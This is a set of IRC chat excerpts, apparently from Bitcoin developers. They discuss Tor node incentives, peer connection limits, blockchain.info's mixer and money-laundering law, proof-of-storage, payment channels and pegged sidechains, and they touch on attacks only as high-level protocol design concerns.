19:26 < nanotube> so we get to learn from their experience on that front, a little bit.
19:28 < gmaxwell> I know, I'd passed on these concerns to them. (particularly pointing out that if they built the infrastructure so that any anonymous party could pay any tor node, that it might create some weird outcomes like pay-to-spy)
19:28 < gmaxwell> seems like they avoided setting things up like that, at least for now.
19:29 < nanotube> heh well, the government TLAs don't need to pay any third parties to spy. if nsa really wanted to take over tor, it'd only take them a trivial fraction of their budget to spin up like 10k tornodes, and make up significantly more than half of the tornet.
19:30 < nanotube> in fact... maybe 2k out of the 4k-some tor nodes already are government. ...
19:38 < gmaxwell> nanotube: perhaps, but paying third parties might be a more cost effective way to do it. ... and if you're some cybercrime group it might be an interesting thing to play with.
19:39 < nanotube> mm maybe...
19:40 < nanotube> i'm surprised the tor router project doesn't seem to have taken off. beyond a wiki page on setting it up https://trac.torproject.org/projects/tor/wiki/doc/OpenWRT
19:40 < nanotube> they could be selling pre-torified buffalos
20:05 < warren> someone we know here expert in embedded systems is thinking about selling bitcoind low power appliances
20:10 < nanotube> aka, netbook with bitcoind on it? :P
20:13 < warren> headless
20:14 < warren> probably ARM with 2GB RAM
20:17 < nanotube> mm
20:18 < warren> businesses often don't use their bandwidth at night when the office is empty, so if it costs them very little in power, they could run high capacity listening nodes at least all night and throttle back or stop listening during the day.
20:27 < gmaxwell> nanotube: one interesting point is that evil vs good pay is probably not mutually exclusive.
20:28 < gmaxwell> nanotube: e.g. you get payed X to run a good node, and if it also spys on users, you get Y too.
20:29 < warren> hmm, headless bitcoind appliances would need some kind of autoupdate mechanism ...
20:29 < warren> the maker could sell subscriptions to good/evil parties
20:30 < warren> It's amoral, it's just business!
20:36 < nanotube> warren: and while you are at it, put a tor node on the appliance also. that way bitcoin network will become less blockable, and if you turn on relaying by default (with some small transfer cap) you benefit the tor net also.
20:37 < nanotube> gmaxwell: hmm good point.
20:37 < warren> they probably won't like exit node by default
20:37 < nanotube> warren: sure not exit, just relay
20:37 < warren> nanotube: I'm not the one designing this thing
20:37 < warren> he just mentioned he might do it
20:37 < nanotube> warren: well, yea, i mean, pass it along :)
20:38 < nanotube> gmaxwell: but that just means it's cheaper to be evil. :)
20:39 < gmaxwell> nanotube: well it means that if someone else is paying the activitation cost to make a pure profit motivated person run a node, an evil party can redirect most of that effort at far lower cost.
20:40 < nanotube> yes. so s/cheaper/much cheaper/ :P
20:40 < gmaxwell> evil only has to pay enough to move people from good to evil, not to run a node.
20:40 < gmaxwell> yea.
20:41 < nanotube> but many forms of evil can be tested for and not paid. e.g., transaction validation and relay variances, etc.
20:41 < nanotube> spying, not really. but... everything that goes through through the bitcoin network is public anyway. so i'm not sure how much use there is in evil-spying for pay.
20:42 < gmaxwell> yea, spying can't be tested except by the evil master, and rule changes that trigger in the future can't be tested for. (well evil master could kinda test for them, but not anyone else)
20:42 < gmaxwell> nanotube: ::shrugs:: bc.i has monetized their own spying pretty well
they post people's IPs and then charge people to use their mixer service. I believe its their only revnue source now.
20:43 < warren> s/mixer/shared send/
20:44 < nanotube> do you think they'd make less money on the mixer if they didn't post people's ip addresses? :P
20:48 < gmaxwell> I do. Though I only have the informal evidence of people showing up in IRC angry that the bitcoin blockchain recorded their IP addresses, from time to time. (::facepalm::)
20:49 < gmaxwell> (and then seeing people direct them to the mixer thing)
20:49 < warren> perhaps delisting for a fee could be another revenue source =P
20:50 < gmaxwell> cheaper to just block them.
20:56 < jgarzik> gmaxwell, definitely not their own revenue source
20:56 < jgarzik> gmaxwell, hint: advertisements on the front page float by unpredictably
20:57 < gmaxwell> oh hey, I just came up with an almost secure way to selectively hang up on nodes which connect to lots of other nodes.
20:57 < warren> oh?
20:59 < gmaxwell> using cryptographically private bloom filters: http://www.reddit.com/r/programming/comments/1ixoov/cryptographically_private_bloom_filters/cb91uj9
21:00 < gmaxwell> the idea is that your peers give you an encrypted list of their peers. You can then encrypt your list of peers, send them to the peer and have the peer reencrypt them, and then you can decrypt the result and tell what peers you have in common.
21:01 < gmaxwell> I say almost secure because if some node was hated by lots and lots of nodes, those nodes could lie and say he was connected to them, in order to encourage other people to drop connections to that node.
21:01 < gmaxwell> but ignoring that attack, this would let you be able to do something like hang up on peers that are already connected to half your other peers.
21:01 < gmaxwell> without disclosing who is connected to who.
21:02 < gmaxwell> (your peers would limit the number of queries you could perform, so you couldn't just test all nodes against their lists)
21:03 < warren> "you" being a connection or an IP?
21:03 < warren> and does that fail if you change your IPv4, or ipv6?
21:04 < gmaxwell> nah, I don't think so, since they could just limit the queries globally. E.g. I won't answer more than X queries per day or whatever.
21:05 < warren> so you can make the entire system just stop working
21:06 < warren> gmaxwell: this could be defeated by simply randomizing the from addresses, combining all the data into a surveillence net
21:07 < gmaxwell> I'm not talking as much about surveillence as I am about connection satuartion.
21:08 < gmaxwell> Today you can fill up all connection slots on the bitcoin network with 1 IP. With some easy fixes we could increase that you needed 124 IPs.
21:08 < gmaxwell> But making it take more than 124 IPs seemed mostly unsolvable to me, perhaps its not.
21:09 < gmaxwell> making surveillence a little harder would be a nice side effect.
21:09 < warren> ooh
21:09 < warren> there's more low hanging fruit to raise the cost of filling all listening slots
01:31 < phantomcircuit> jgarzik, with ssds it's the firmware
01:31 < jgarzik> phantomcircuit, the latter comment, when investigated at Red Hat, turned up stupid app behavior 90% of the time
01:31 < phantomcircuit> it's not uncommon at all for an ssd to completely fuck up where things are written
01:32 < jgarzik> I was L3 on that for years
01:32 < phantomcircuit> yeah that's not surprising
01:32 < petertodd> The great thing about embedded systems development is "know your hardware" can mean reading the datasheet for your 8-bit uC's and getting a timing diagram showing under exactly what conditions EEPROM cells get corrupted. :P
01:33 < petertodd> Heck, on the wall by my desk I have one of my artworks that does exactly that with a carefully calculated set of VCC hold-up caps.
01:50 < jgarzik> petertodd, "the pool uses compressed keys, while the blockchain.info client only uses compressed keys"
01:50 < jgarzik> petertodd, should one of those be "uncompressed"? or am I just confused?
01:50 < petertodd> doh!
01:50 < gmaxwell> the latter is uncompressed
01:50 < petertodd> yeah, client is uncompressed
01:51 < phantomcircuit> jgarzik, i get a good laugh out of bc.i
01:51 < phantomcircuit> they operate a service which allows you to purchase bitcoins and then obscure their origin
01:51 < phantomcircuit> quite literally money laundering
01:51 < phantomcircuit> herp derp
01:52 < petertodd> money laundering isn't what you think it is...
01:52 < gmaxwell> jgarzik: so the difficulty in getting people to use petertodd's dust-b-gone is starting to make me doubt my prior thought that "wallet applets" could be a viable way to introduce new wallet features.
01:52 < petertodd> the purpose of money laundering is to make money have a *legit* origin, bc.i is just making it have no origin at all
01:52 < phantomcircuit> petertodd, useful money laundering is the first
01:52 < phantomcircuit> legal money laundering is either
01:52 < gmaxwell> petertodd++ but that doesn't mean bc.i might not get into a regulatory mess.
01:53 < phantomcircuit> you'd be an idiot to launder money through bitcoin anything
01:53 < phantomcircuit> but that doesn't mean doing so isn't illegal
01:53 < petertodd> well if we keep repeating my point over and over we might change the discussion... :)
01:53 < gmaxwell> in any case, they've been warned! (and at least renamed their "mixer")
01:54 < phantomcircuit> they've had legal council refuse to represent them because their business is obviously in violation of uk law
01:54 < gmaxwell> we need someone to make a catchy music video like https://www.youtube.com/watch?v=7E0ot9iJm_k (terrible secret of space) which just repeats over and over again "the purpose of money laundering is to make money have a *legit* origin"
01:54 < Luke-Jr> is that the legal definition?
01:55 < phantomcircuit> Luke-Jr, the legal definition is to obscure the origin
01:55 < jgarzik> gmaxwell, not sure I was party to a "wallet applet" discussion. I did notice that some wallets like Hive are direct-integrating with gambling and exchange sites via plugins.
01:55 < phantomcircuit> however that's not very useful for actual criminals
01:55 < gmaxwell> in the US there isn't just one legal definition there are dozens (hundreds? easily if you count state laws) of laws that possibly interact with money laundering.
01:55 < phantomcircuit> none the less the definition is what it is
01:55 < jgarzik> gmaxwell, RE dust, I just think there should be background defragmentation
01:55 < phantomcircuit> gmaxwell, bc.i is a uk company
01:55 < jgarzik> gmaxwell, perhaps via coinjoin. mix + dedust
01:56 < petertodd> gmaxwell: yeah, that's the real issue - better for something like bc.i to not be operating at all if they want to be safe, chances are even operating a wallet is legally risky
01:56 < gmaxwell> jgarzik: ah, I'd thought you'd were at least in the past I'd bought into an idea that things like background defragmentation and such could potentially be introduced with contrib/ grade side-car applications. As a way of reducing the time to getting features in the core codebase.
01:56 < gmaxwell> jgarzik: yea, petertodd's dust-b-gone is a coinjoin dust discarder.
01:57 < gmaxwell> Luke-Jr: I'd guess that if you are pedantic about the law that in some states its probabably unlawful to accept money.. ever. just due to poorly constructed laws that interact in unexpected ways.
01:57 < phantomcircuit> petertodd, its better that they do one thing at a time
01:58 < jgarzik> gmaxwell, some pedantic interpretations of US law imply you should file forms for every cash transaction, anywhere, regardless of whether you are consumer or merchant or peer
01:58 < jgarzik> especially if you cross state or international borders
01:58 < Luke-Jr> gmaxwell: IMO trying to change the definition to workaround laws isn't a viable option
01:58 < jgarzik> nutters
01:59 < gmaxwell> Luke-Jr: I'm not suggesting it to workaround the law.
01:59 < Luke-Jr> the elegance of CoinJoin is that it isn't concealing anything; it's just discarding unnecessary information
01:59 < petertodd> jgarzik: which reminds me of idiotic people are for continuely pointing out cash as why bitcoin won't be banned; lots of jurisdictions are doing everything they can to ban cash
01:59 < gmaxwell> Luke-Jr: the reason I suggest making the definition more clear is just because the broken one used in bitcoin land (mostly inspired by half understanding tv crime drama) just doesn't make sense.
01:59 < Luke-Jr> gmaxwell: a music video to promote a definition that differs from the legal definition, would be just that IMO
01:59 < jgarzik> My on-going prediction, since 2010, has been that bitcoin will be regulated as cash is currently regulated.
01:59 < jgarzik> in US and elsewhere
02:00 < jgarzik> with all that implies
02:00 < gmaxwell> Luke-Jr: I don't think that what I'm saying is distinct from the legal definition. (I also didn't mean it seriously)
02:00 < petertodd> jgarzik: right, so it'll be illegal to have bitcoin wallets with large amounts of bitcoins in them, and gradually those amounts will decrease to the point where bitcoin is effectively banned
02:00 < Luke-Jr> petertodd: huh?
02:01 < Luke-Jr> is there some law saying I can't bury large amounts of cash in my backyard? :/
02:01 < jgarzik> petertodd, I'm waiting for the first attempted prosecution when someone flies across a US/international border without declaring the > $10,000 in bitcoins they were carrying.
02:01 < petertodd> jgarzik: meanwhile bitcoins, when discovered, will be seized routinely the same way large amounts of cash are under civil forfeitture laws
02:01 < gmaxwell> Luke-Jr: the legal definition is very complicated. the idea that anything that conceals the origin is money laundering is a toy version of the law. The idea that money laundering == giving an apparent legitimate origin to money is another toy statement of the law. The latter has the benefit of actually explaining _why_ people launder money at least...
02:01 < petertodd> Luke-Jr: in some european countries yes
02:01 < gmaxwell> Because just doing the first, in the US at least, actually does you very little good.
02:01 < petertodd> Luke-Jr: for instance IIRC italy has banned all cash transactions for any reason over 1000 euros
02:01 < phantomcircuit> gmaxwell, the problem is that the definition you use is based largely on how strict law enforcement wants to be
02:01 < petertodd> jgarzik: bingo
02:02 < gmaxwell> jgarzik: so I might attempt a declaration of bitcoins when returning from vancuver at the beginning of november. I don't have anything scheduled for the week after that... it would be interesting to see what happens.
02:03 < Luke-Jr> petertodd: that's a cash *transaction*
02:03 < jgarzik> in terms of US "climate", it is noteworthy that government types are also concerned about consumer privacy.
02:03 < jgarzik> A handful of Large Businesses (Fortune 1000) have also expressed concern about business transaction privacy.
02:03 < petertodd> gmaxwell: lol, I like how you're giving a week for that...
02:03 < jgarzik> it is easy to look over a shoulder at starbucks, if you can spot a payment address, and chain-stalk that person
02:03 < petertodd> Luke-Jr: yes, and meanwhile large amounts of cash get routinely seized in the US on suspicion of being involved with drugs, and it's damn near impossible to get it back.
02:03 < gmaxwell> in particular I could arrange it so that bitcoins I have with me are likely to increase in value while I'm at IETF and cross the threshold.
02:04 < petertodd> Luke-Jr: other countries have direct capital controls on cash
02:04 < gmaxwell> jgarzik: or the minimum wage drone at starbucks hired a week ago is doing the chainstalking.
02:04 < Luke-Jr> gmaxwell: how are the bitcoins "with you"? :p
02:04 < petertodd> jgarzik: one of the ironies is that Bitcoin could be simultaneously considered as being too private, and prone to "money laundering", and too public, and thus banned for privacy reasons
02:04 < gmaxwell> Luke-Jr: that would be part of what the excercise is for exploring. What does customs think that definition is?
02:05 < jgarzik> One argument I do think could be made: the coins are "in the cloud". Control of the coins (keys) are what the owner holds. Not sure if that could be legally useful, but it seems like it might be.
02:05 < jgarzik> petertodd, indeed
02:06 < phantomcircuit> <gmaxwell> in particular I could arrange it so that bitcoins I have with me are likely to increase in value while I'm at IETF and cross the threshold.
02:06 < jgarzik> petertodd, depends on which prosecutor is writing their next Shakespearean piece
02:06 < phantomcircuit> gmaxwell, the us border patrol will arrest you if you fail to declare the changed amount
21:51 < petertodd> amiller: Fortunately I think you can securely do a "pay to help me get this ancient txout mined" service with a joint transaction.
21:51 < amiller> you can have updates
21:51 < amiller> and if you aren't relatively alive to hear the updates
21:51 < amiller> and eveyrone forgets intermediate state before you get yours
21:51 < amiller> then you might not be able to find it from anyone
21:52 < amiller> say you send a new coin to yourself, then you go into a coma for 50 years, then come back
21:52 < amiller> can you spend your coin
21:52 < amiller> all the tips have changed
21:53 < petertodd> amiller: Yeah, it absolutely could happen, although it's likely there will always be at least one person with a copy out there somewhere.
21:53 < amiller> kinda?
21:54 < petertodd> The other thing is that keeping your wallet updated is actually depecently cheap because you only need to watch for transactions that modify your proof. In addition if you update your proof once, the chain data you need to update it again is much lessoned - just the transactins that changed the lower part of your proof as the upper part is more recent.
21:54 < amiller> maybe you still want to do proof of storage over the whole tree to be sure
21:55 < petertodd> amiller: Yeah, it's hard to say... I suspect that given that everything is easily fraud proofed, we can skip proof of storage so long as finding fraud is rewarded somehow.
21:55 < amiller> no i mean
21:55 < amiller> you want to encourage people to store the data
21:55 < amiller> if it's plausible that someone who should be enabled to spend it might not have that data
21:55 < petertodd> amiller: Right, but the "pay to spend" system works fine for that.
21:55 < maaku> ok i see what you're saying now, but i hadn't thought it was a concern since the signer has control over the transaction id... they can always pick a new one that they can find a path for
21:55 < amiller> no it doesn't
21:55 < amiller> you can pay to spend if someone has the data
21:56 < petertodd> What we need is to encourage people to *validate* the data, which != storing it.
21:56 < maaku> assuming they don't pay an archive node to find a path for them
21:56 < amiller> but you can't pay them ahead of time to store it and update it forever
21:56 < amiller> okay here's a thing is
21:56 < petertodd> maaku: Yeah, but that basically means those archival nodes need to be found every !@#$ time you create a transaction, or even for that matter just to add coinbase outputs to the set.
21:56 < amiller> maybe if i know i'm aobut to go into a coma or am afraid of it
21:56 < amiller> and want to purchase go into coma for 50 years insurance
21:56 < petertodd> amiller: No, but they can make a business decision that there's enough demand. And anyway, as I said, updating your proofs is incremental.
21:57 < amiller> i can sponsor a bounty that rewards people over time for doing proofs of storage of whatever is the most valid node
21:57 < amiller> it doesn't matter if it's incremental if the point is that i go away for a long time then come back
21:57 < amiller> i'm not interactive and receciving updates during that time
21:57 < petertodd> amiller: Well, you know how you do that? You create nLockTime'd transactions! To spend the txs way in the future they have to prove them!
21:58 < petertodd> When they brodcast the proofs, you can reuse that data to prove your own transactions!
21:58 < petertodd> *broadcast
21:58 < amiller> that's not a great solution for minor economic reasons and periodic proofofstorage is better somewhat
21:58 < amiller> if it seems like you have a poor chance of being the winner then there's no reason to do it
21:59 < petertodd> But this is the thing, we *want* people to be able to expire ancient data! Think 300 years in the future when transactions in the first 10 years of blocks just don't ever happen.
21:59 < petertodd> This is the only thing that can keep the blockchian data required to mine from growing without bound.
21:59 < amiller> i agree that this should be set by market forces of people who want it or are willing to insure themselves
21:59 < amiller> if i go into a coma and haven't paid for lifesupport then it's my problem
21:59 < amiller> if i or someone gracious wants to pay somehow to keep my data validated then ok
21:59 < petertodd> Yeah, and market forces are enough, we do *not* need to add proof-of-storage to the consensus protocol.
22:00 < petertodd> Where as with UTXO commitments, you absolutely do need proof-of-storage.
22:00 < amiller> i'll let that slide for now
22:00 < amiller> petertodd, yes, agreed, because with the utxo trie you never know *which* bits you'll need for appending new data
22:00 < amiller> which is an outstanding revelation
22:01 < gmaxwell> 18:04 < maaku> gmaxwell: my point iswhy pay an external proof-generating service *in addition to* the miners transaction fees?
22:01 < gmaxwell> Right now, ~no one is paid for it. And miners (if you mean the guys who own asics)
22:01 < gmaxwell> don't do it at all... you could argue that the pool op is paid for that
22:01 < gmaxwell> service but it's only as an accidental side effect, and it highly incentivizes
22:01 < gmaxwell> centeralizing that ability. vs letting each user keep their own or pay for
22:01 < gmaxwell> their own retrevial very naturally scales and doesn't create a
22:01 < gmaxwell> centeralization incentive, I think.
22:02 < petertodd> amiller: Yeah, MMR TXO also naturally has good access requirements, which mean that archiving data to tape and so on is very practical.
22:02 < petertodd> amiller: (even when you want to be the "help me mine my txout" service)
22:03 < petertodd> gmaxwell: Did you see how paying to help get a txout mined can be done in a trust free manner too? Just create a transaction spending the txout that gives some BTC to the service - if they can't get it mined they don't get paid.
22:03 < amiller> that's a crap solution
22:03 < petertodd> amiller: ?
22:04 < amiller> it's not good for replication
22:04 < petertodd> amiller: Why do you need to replicate?
22:04 < amiller> like, you'd prefer to have the reward for that paid in some way that encourages several people to have it
22:04 < amiller> because that service doesn't have terribly much incentive to store it redundantly
22:04 < amiller> they'd miss out on the future rewards i suppose
22:04 < petertodd> amiller: Well sure, but frankly that's impossible with math.
22:05 < amiller> no it isn't
22:05 < amiller> that's what pow does
22:05 < gmaxwell> petertodd: well almost. Say you make two versions, one paying a and one paying b. A fails to do the lookup. B does it. When A hears the transaction from B he can attach B's proof. ... find for the user bad for the service.
22:05 < amiller> that's the whole point of this massively replicated apparatus we have
22:05 < petertodd> amiller: No, proof-of-work simply proves a bunch of work was done, it doesn't prove that the work was done in a geographically separated set of disaster resistant datacenters.
22:05 < amiller> it doesn't *prove* that, but it *causes* that
22:05 < amiller> that's exactly what it causes
22:06 < amiller> incentivizes, rather
22:06 < gmaxwell> amiller: thats the users own darn problem, if he wants great storage he can pay for it. Importantly, it doesn't have the commons resource problem of making everyone pay for something that only benefits one user.
22:06 < petertodd> gmaxwell: Yeah, those services are going to want to either mine the txs themselves, or have meatspace contracts.
22:06 < amiller> agreed with both of those
22:06 < petertodd> gmaxwell: Well, actually you can fidelity bond those contracts...
22:07 < petertodd> amiller: I dunno about causes that... just look at pools...
22:07 < gmaxwell> yea, and it's super cheap to maintain your own if you're already running a FVN
22:07 < amiller> petertodd, pools are geoseparated disaster resistant data centers, it's hosted mining that's the problem
22:07 < gmaxwell> and to have tit for tat mutual watching agreements in communities of interested.
22:08 < petertodd> amiller: Pff, we're talking like a dozen pools at most - that's not very convincing disaster resistance compared to the thousands (probably) of full nodes.
22:08 < amiller> petertodd, no i mean the pool operators don't matter, the fact is pool participants all have gpus at their homes
22:08 < petertodd> amiller: Anyway, as gmaxwell said "It's your own fucking fault if your wallet becomes unspendable!"
22:08 < amiller> if you make a storage hard pow then it's the mining devices that are the replicated storage
22:08 < petertodd> amiller: GPUS != blockchain data
22:09 < petertodd> amiller: ok, true, but we're not changing the proof-of-work algorithm
22:09 < petertodd> amiller: maybe in some alt-coin
22:09 < amiller> yes you are, when it becomes obvious you have to
22:09 < petertodd> gmaxwell: sorry if I slightly misquoted you there :P
22:09 < amiller> what i'm *not* saying is that you'd have to make it mandatory that the consensus puzzle is over the whole merkle thing
22:09 < amiller> one option is to make it so you can pay to have it included
22:09 < gmaxwell> releastically the required redundancy for txout data is only three or four copies, lets say. But for decenteraization we need tens or hundreds of thousands of full nodes. And the risk of not having enough copies should be born by the owners of the data which was inadequately replicated but bitcoin makes it a risk for the whole network.
22:09 < petertodd> amiller: people in comas for 50 years waking up to not being able to spend their wallets isn't a good reason :P
22:10 < amiller> so you can pay to have whatever replication factor you want
22:10 < amiller> i'm not arguing any particular solution here because it's not settled
11:21 * BlueMatt isnt sure exactly which "payment channels" is being discussed, but if its done right, it can be all two-party (no blockchain) until the end and then only a few txn can be put in the chain to complete it
11:22 < BlueMatt> (without any trust)
11:22 < petertodd> BlueMatt: Ah, yeah, that's jspilman's version. Nice to see the wiki got updated with it.
11:23 < BlueMatt> anyway, I know mike is actually implementing it, so ping him
11:28 < petertodd> BlueMatt: cool
11:29 < BlueMatt> afaik its pretty far along too
11:31 < petertodd> any client code yet?
11:31 < BlueMatt> hmm?
11:32 < petertodd> I mean, like a demo for an application?
11:32 < petertodd> that'll be the hardest part I think
11:32 < BlueMatt> no idea
11:34 < petertodd> ok, just thinking, lots of subtle issues re: backups and other stuff with protocols like these
11:34 < BlueMatt> entirely depends on how long your channel is
11:34 < BlueMatt> if the channel lasts a few hours...meh
11:34 < petertodd> same problem with chaum tokens: you need to have a reliable way of storing multiple copies immediately of the token, or in this case, the refund tx
11:35 < BlueMatt> sure, if it lasts a month you want to store the state of the channel in the wallet
11:35 < petertodd> it can be skipped initially, but for production...
11:35 < petertodd> well it's a matter of how many coins you are putting in limbo, 0.01BTC, no worries, 1BTC, that's another matter
11:48 < jgarzik> heh, yeah. I was thinking a payment channel that lasts ~24 hours. Definitely some wallet state storage, to think about.
11:48 < jgarzik> but really, I'm off-chain agnostic. The more off-chain systems out there, the better.
11:49 < jgarzik> Would be interesting to see an open source package out there replicating The Big Tor User out there.
11:50 < petertodd> well, one guy contacted me saying he's working on one in his spare time, and I'm meeting with what sounds to be a much more professional effort next week that will include some trusted hardware
11:51 < petertodd> actually, I think just implementing a merkle-sum tree package is worth it - a few companies at the conf said they were interested in that kind of transparency
11:51 < petertodd> like the bitcoin fund guys
11:53 < BlueMatt> bitcoin fund: we fund useless crap
11:53 < BlueMatt> or at least not stuff that is reasonably high priority
11:54 < petertodd> BlueMatt: which fund do you mean?
11:54 < BlueMatt> you mean the guys who offered how many thousands to split wallet and core?
11:54 < petertodd> no, I mean bitcoinfund.eu, the guys offering bitcoins as a professional investment fund
11:55 < petertodd> those guys are crazy, and I wonder if they are really legit
11:56 < BlueMatt> they do have /some/ money...no idea how much it really is, but they kinda picked a random thing and put a big bounty on it
11:56 < petertodd> heh, emphasis on some
11:56 < petertodd> might just be enough to have a nice website...
11:56 < BlueMatt> by off-chain, you do mean off-chain for a while, then sync up the difference in one txn?
11:57 < BlueMatt> oh, no I meant the crazy guys who offered money for split
11:57 < BlueMatt> A few devs have gotten donations from them
11:57 < BlueMatt> relatively sizeable ones
11:57 < petertodd> ah, ok, so they've shown they're for real
11:57 < petertodd> to some extent
11:57 < BlueMatt> if only they'd put up a big bounty on adding more test-cases
11:58 < petertodd> BlueMatt: not sure exactly what the off-chain gusy who have contacted me lately really mean, I'll find out more later
11:59 < petertodd> Indeed. You've done a lot of hard work, but there is so much more to do.
11:59 < BlueMatt> what Ive done hasnt even scratched the surface of the edge cases that exist, tbh
11:59 < BlueMatt> if you fail the tests-cases there, you really were oblivious when implementing
11:59 < BlueMatt> at least, fail more than a few-line fix
12:04 < petertodd> Absolutely. I found lots of stuff re: nLockTime that's not tested, just to name one example.
12:04 < BlueMatt> even coverage reports of the tests show suckage...
12:05 < petertodd> Well, foundation says they're going to hire two more tech staff.
12:06 < BlueMatt> good to hear, can we make one of them full-time test engineer?
12:06 < BlueMatt> s/one/two/
12:06 < sipa> peter vessenes asked me if i wanted to work on bitcoin full-time
12:06 < sipa> but i prefer not giving up my job now
12:06 < BlueMatt> if sipa wanted to work on bitcoin full-time there are around 10 companies that would make it happen...
12:07 < sipa> he was certainly not the first to ask :)
12:09 < midnightmagic> sigh. I have an account with exchangezone too.
12:09 * midnightmagic doesn't like being on lists.
12:09 < BlueMatt> midnightmagic: known terrorist
12:11 < petertodd> sipa: heh, I know the feeling, I even had my old boss from when I was 16 at a software summer job call me up asking if I wanted to start something bitcoin related
12:11 < sipa> heh
12:11 < sipa> now, if i could work more on bitcoin without giving up my job... that'd be nice :)
12:12 < BlueMatt> sipa: spend 10 years, invent a time machine and poof
12:12 < petertodd> sipa: make it your 20% project to do off-chain tx's, and confuse all of Mike's critics...
12:12 < sipa> abstruse goose 249?
12:13 < BlueMatt> sipa: yes
12:13 < BlueMatt> petertodd: doesnt mike already do bitcoinj as 20% time?
12:13 < petertodd> BlueMatt: what I would give to tell my 18 year old self... I was so excited when I found out about hashcash
12:13 < sipa> petertodd: i'm going to try to make getting aecp256k1 optimized in openssl my 20% project
12:13 < sipa> secp256k1
12:14 < BlueMatt> you want to merge something in openssl?
12:14 < petertodd> BlueMatt: exactly, so if sipa does something geared towards decentralization said critics will be rather confused about googles intentions
12:14 < BlueMatt> heh, good luck
12:14 < petertodd> sipa: seems reasonable to me
12:14 < BlueMatt> petertodd: Im not sure anyone reads bitcoinj development as google's intentions.....
12:15 < petertodd> BlueMatt: http://www.reddit.com/r/Bitcoin/comments/1e680k/maybe_this_is_why_google_pays_coredev_mike_hearn/
12:15 < petertodd> jdillon is a pseudo-troll of course
12:16 < BlueMatt> hah
12:16 < BlueMatt> well, people are stupid...
12:17 < petertodd> indeed, but equally I get attacked for my supposed motives too
12:18 < BlueMatt> well, ok, I stand corrected
12:18 < BlueMatt> s/anyone/anyone reasonable/
12:19 < petertodd> well, Mike and Gavin are included in those attacking me for my motives
12:19 < BlueMatt> I meant for reading google motives into mike's work
12:19 < BlueMatt> your motives arent clear anyway...
12:20 < BlueMatt> Ill attack you for your results though
12:20 < petertodd> Indeed, they aren't clear, but by that standard neither are Mike and Gavins, or Jeffs, or a zillon other people. Attack results and ideas, it's just nicer that way.
12:21 < petertodd> After getting $6k worth of mostly anonymous donations, I know full well that I'll probably never know the motivations of people making stuff happen. So talk about what they make happen.
12:21 < petertodd> Actually, $7.5k includng pre-video donations.
12:22 < BlueMatt> hint: no one cares about your donations
12:22 < petertodd> Good, they shouldn't.
12:22 < petertodd> But it's a great example of how knowing about the motivations behind something is often an exercise in futility.
12:23 < petertodd> *trying to know
12:23 < BlueMatt> its not always that hard...
12:24 < petertodd> Well, if you want to play that game, then guys like jdillon can have fun attacking Mike. It's just a matter of perspective.
12:25 < BlueMatt> either Im being clear as mud or your ignoring what Im saying (most likely the first, Im distracted) but I need to get back to being distracted (read: work)
12:25 < petertodd> heh, have fun
12:25 < BlueMatt> :)
12:26 < midnightmagic> I don't understand why people engage the trolls so much. Ignoring them doesn't make them stronger.
12:29 < midnightmagic> And I don't really mean the people who come in to -dev with a chip on their shoulder about something. Half the time they just think they can do something better. I mean the real destructive elements like the press page guys, or MP.
12:35 < jgarzik> It's a tough call
12:35 < jgarzik> Trolls rope innocent people into buying their line of B.S.
12:36 < jgarzik> When I respond, it's mainly to provide an alternative viewpoint, not directly respond to the troll. But that gives the trolls gas for further trolling, so it's not a great solution.
12:40 < petertodd> Standard social theory would say that acknoledging trolls at all just gives them social status, which you really don't want to do, on the other hand people not familiar with the scene don't have any idea what the social status of anyone is, and they will read and misunderstand bad arguments.
12:40 < petertodd> So have someone else argue on your behalf.
12:42 < jgarzik> ;p
12:43 < petertodd> Similarly, why write software, when you can convince other people that the software should be written?
12:43 < BlueMatt> shell accounts?
12:43 < jgarzik> petertodd, That's what I do already :)
12:44 < petertodd> BlueMatt: Nah, that'd take up a pile of time. Better to convince a small group of your ideas and let it spread.
12:44 < jgarzik> petertodd, (1) write troll patch, (2) watch someone else come along and do it better, more completely
12:44 < jgarzik> c.f. wallet encryption
12:44 < jgarzik> the friendly term is being a catalyst
12:44 < petertodd> Lol, good job.
12:44 < BlueMatt> problem is, your troll patch had bugs that still appear in bitcoin today
12:45 < jgarzik> I declare myself blame-free :)
12:45 * BlueMatt can always fall back on the "I didnt merge it"
12:45 < petertodd> I managed to pull that off kinda with replace-by-fee, but the more complete version had O(n^2) scaling...
08:39 < sipa> and it is limiting in the sense that it requires encoding some basic form of betacoin's transfer rules in bitcoin
08:39 < gmaxwell> no no,
08:40 < adam3us> for my part i think 1-way (and more practically 2-way) pegged side-chain is the best new bitcoin idea of 2013. i hope its possible.
08:41 < gmaxwell> sipa: the script is a proof "Betacoin say 2 btc can come back to bitcoin to scriptpubkey 1234 + a bunch of betacoin headers". I'd also come up with an idea that required the txout scriptpubkey in such a transaction could be such that it had a minimum time it could be spent from, and before that the transfer canceled with a longer chain of headers.
08:42 < gmaxwell> so then bitcoin is totally blind to betacoin's rules, except for how betacoin headers works, how how betacoin communicates moves back to bitcoin.
08:42 < gmaxwell> from the betacoin side the transfer from bitcoin could be similar or betacoin could watch the bitcoin chain, the latter is probably better.
08:43 < gmaxwell> if the whole transfer is slow and cumbersome and requires a 8 kbyte transaction it doesn't really matter, since if you have two parties you can just to an atomic coin swap.
08:44 < gmaxwell> the cross chain teleports are only needed to balance liquidity.
08:44 < gmaxwell> (so if there are more coins wanted on the betacoin chain than exist there there is a way to satisify the demand)
08:45 < gmaxwell> also means that if you can fake out the teleport method e.g. with a huge betacoin reorg, you can make betacoin fractional reserve, but you never inflate bitcoin.
08:47 < gmaxwell> presumably this could be stronger in practice than in theory because if bitcoin miners were all betacoin miners they could generally refuse to mine suspect betacoin proofs, or themselves be prompt about providing contradiction-proofs that aborted the trasnfer in a soft-security fashion.
08:48 < gmaxwell> "no no, there is a compeating betacoin fork as good/better than this one, abort this transfer until someone can show an even better betacoin proof"
08:49 < adam3us> sipa: the 1-way peg also could consider a longer term version of the market providing liquidity based on later settlement, eg if the network bootstraps to become credible, or if multiple sensible people and orgs make an approximate indication that they plan to switch over with in 18-mo - 2yrs to a hyopthetical sipa-led rewrite
08:50 < adam3us> sipa: as after the switch over the rest of the bitcoins are moved over to the new network and the liquidity providers can earn the arbitrage profit they were aiming for
08:50 < adam3us> sipa: (wrote about somewhere on the tldr 1-way peg thread)
08:51 < adam3us> (what a choice
pay gbp 5 to extend free airport wifi or type a password into a *windows* machine. yup i paid)
08:51 < gmaxwell> plus imagine all the great drama we'll get in two way pegs. people creating altcoins that can two-way-peg with bitcoin (because why not make the facility completely generic so anyone can hook up a new chain to it?) just with the intention of leaving it insecure so they can steal all the coins that move over.
